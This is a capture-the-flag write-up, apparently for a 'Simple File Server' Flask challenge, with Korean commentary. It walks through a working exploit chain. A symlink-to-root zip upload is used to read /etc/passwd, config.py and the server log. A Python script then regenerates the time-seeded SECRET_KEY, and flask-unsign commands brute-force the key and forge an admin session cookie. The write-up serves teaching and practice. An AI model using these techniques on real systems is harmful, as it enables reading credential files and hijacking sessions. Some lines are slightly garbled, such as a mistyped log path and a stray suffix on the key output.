@app.route("/flag")
def flag():
if not session.get("admin"):
return "Unauthorized!"
return subprocess.run("./flag", shell=True, stdout=subprocess.PIPE).stdout.decode("utf-8")
CREATE TABLE users(username text, password text, admin boolean)
@app.route("/register", methods=["GET", "POST"])
def register():
session.clear()
if request.method == "GET":
return render_template("register.html")
username = request.form.get("username", "")
password = request.form.get("password", "")
if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}", username):
flash("Invalid username/password", "danger")
return render_template("register.html")
with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT username FROM users WHERE username=?", (username,))
if res.fetchone():
flash("That username is already registered", "danger")
return render_template("register.html")
db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, generate_password_hash(password)))
db.commit()
session["uid"] = username
session["admin"] = False
return redirect("/upload")
@app.route("/login", methods=["GET", "POST"])
def login():
session.clear()
if request.method == "GET":
return render_template("login.html")
username = request.form.get("username", "")
password = request.form.get("password", "")
with sqlite3.connect(DATA_DIR + "database.db") as db:
res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?", (username,))
user = res.fetchone()
if not user or not check_password_hash(user[0], password):
flash("Incorrect username/password", "danger")
return render_template("login.html")
session["uid"] = username
session["admin"] = user[1]
return redirect("/upload")
증적00.jpg
# Set secret key
app.config["SECRET_KEY"] = os.environ["SECRET_KEY"]
import random
import os
import time
SECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
# Configure logging
LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log')
LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}", style='{'))
logger = logging.getLogger("application")
logger.addHandler(LOG_HANDLER)
logger.propagate = False
for handler in logging.root.handlers[:]:
logging.root.removeHandler(handler)
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
logging.getLogger().addHandler(logging.StreamHandler())
서버가 처음 구동되었을 때 위와 같은 Configure logging 기능이 존재하는 것을 확인할 수 있습니다. 여기서 logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
와 같이 시간 정보를 로깅하고 있습니다. 로깅되는 파일 명은 '/tmp/server.log'입니다.
따라서, config.py 파일과 /tmp/server.log 파일 2가지 파일에 대한 접근이 필요합니다.
@app.route("/upload", methods=["GET", "POST"])
def upload():
if not session.get("uid"):
return redirect("/login")
if request.method == "GET":
return render_template("upload.html")
if "file" not in request.files:
flash("You didn't upload a file!", "danger")
return render_template("upload.html")
file = request.files["file"]
uuidpath = str(uuid.uuid4())
filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"
file.save(filename)
subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])
flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")
logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")
return redirect("/upload")
ln -s / yoobi && zip --symlinks upload.zip yoobi
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/etc/passwd
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/app/config.py
http://simple-file-server.chal.idek.team:1337/uploads/734e4147-c736-4002-8a94-200d59f4f04e/yoobi/tmp/server/log
# config.py
import random
import os
import time
SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
# /tmp/server.log
[2023-01-16 23:13:22 +0000] [8] [INFO] Starting gunicorn 20.1.0
[2023-01-16 23:13:22 +0000] [8] [INFO] Listening at: http://0.0.0.0:1337 (8)
[2023-01-16 23:13:22 +0000] [8] [INFO] Using worker: sync
[2023-01-16 23:13:22 +0000] [14] [INFO] Booting worker with pid: 14
...
SECRET_OFFSET = -67198624
time.time() : [2023-01-16 23:13:22 +0000] [8] [INFO] Starting gunicorn 20.1.0
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
import random
import os
import time
import arrow
unix_time = int(arrow.get('2023-01-17T05:54:04.000000+00:00').timestamp())
print(unix_time)
f = open("./wordlist.txt", "w")
SECRET_OFFSET = -67198624
start = (unix_time + SECRET_OFFSET) * 1000
guess = start
print(start)
for guess in range(start, start + 100000):
random.seed(guess)
SECRET_KEY = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
print(SECRET_KEY)
f.write(SECRET_KEY+"\n")
# flask-unsign --decode --cookie 'eyJhZG1pbiI6ZmFsc2UsInVpZCI6Inlvb2JpIn0.Y8Y4Cg.rUJC5B632d2r55uElTHwjAeO6kc'
{'admin': False, 'uid': 'yoobi'}
# flask-unsign --unsign --cookie 'eyJhZG1pbiI6ZmFsc2UsInVpZCI6Inlvb2JpIn0.Y8Y4Cg.rUJC5B632d2r55uElTHwjAeO6kc' --wordlist .\wordlist.txt
[*] Session decodes to: {'admin': False, 'uid': 'yoobi'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 896 attempts26959a73ad80
'3c2a7a72871fc4292bc8e63c0b818e88'
# flask-unsign --sign --cookie "{'admin': True}" --secret '3c2a7a72871fc4292bc8e63c0b818e88'
eyJhZG1pbiI6dHJ1ZX0.Y8Y4-Q.ZagAU1Xy_Nqtxzkk7OfVs4Wr9n4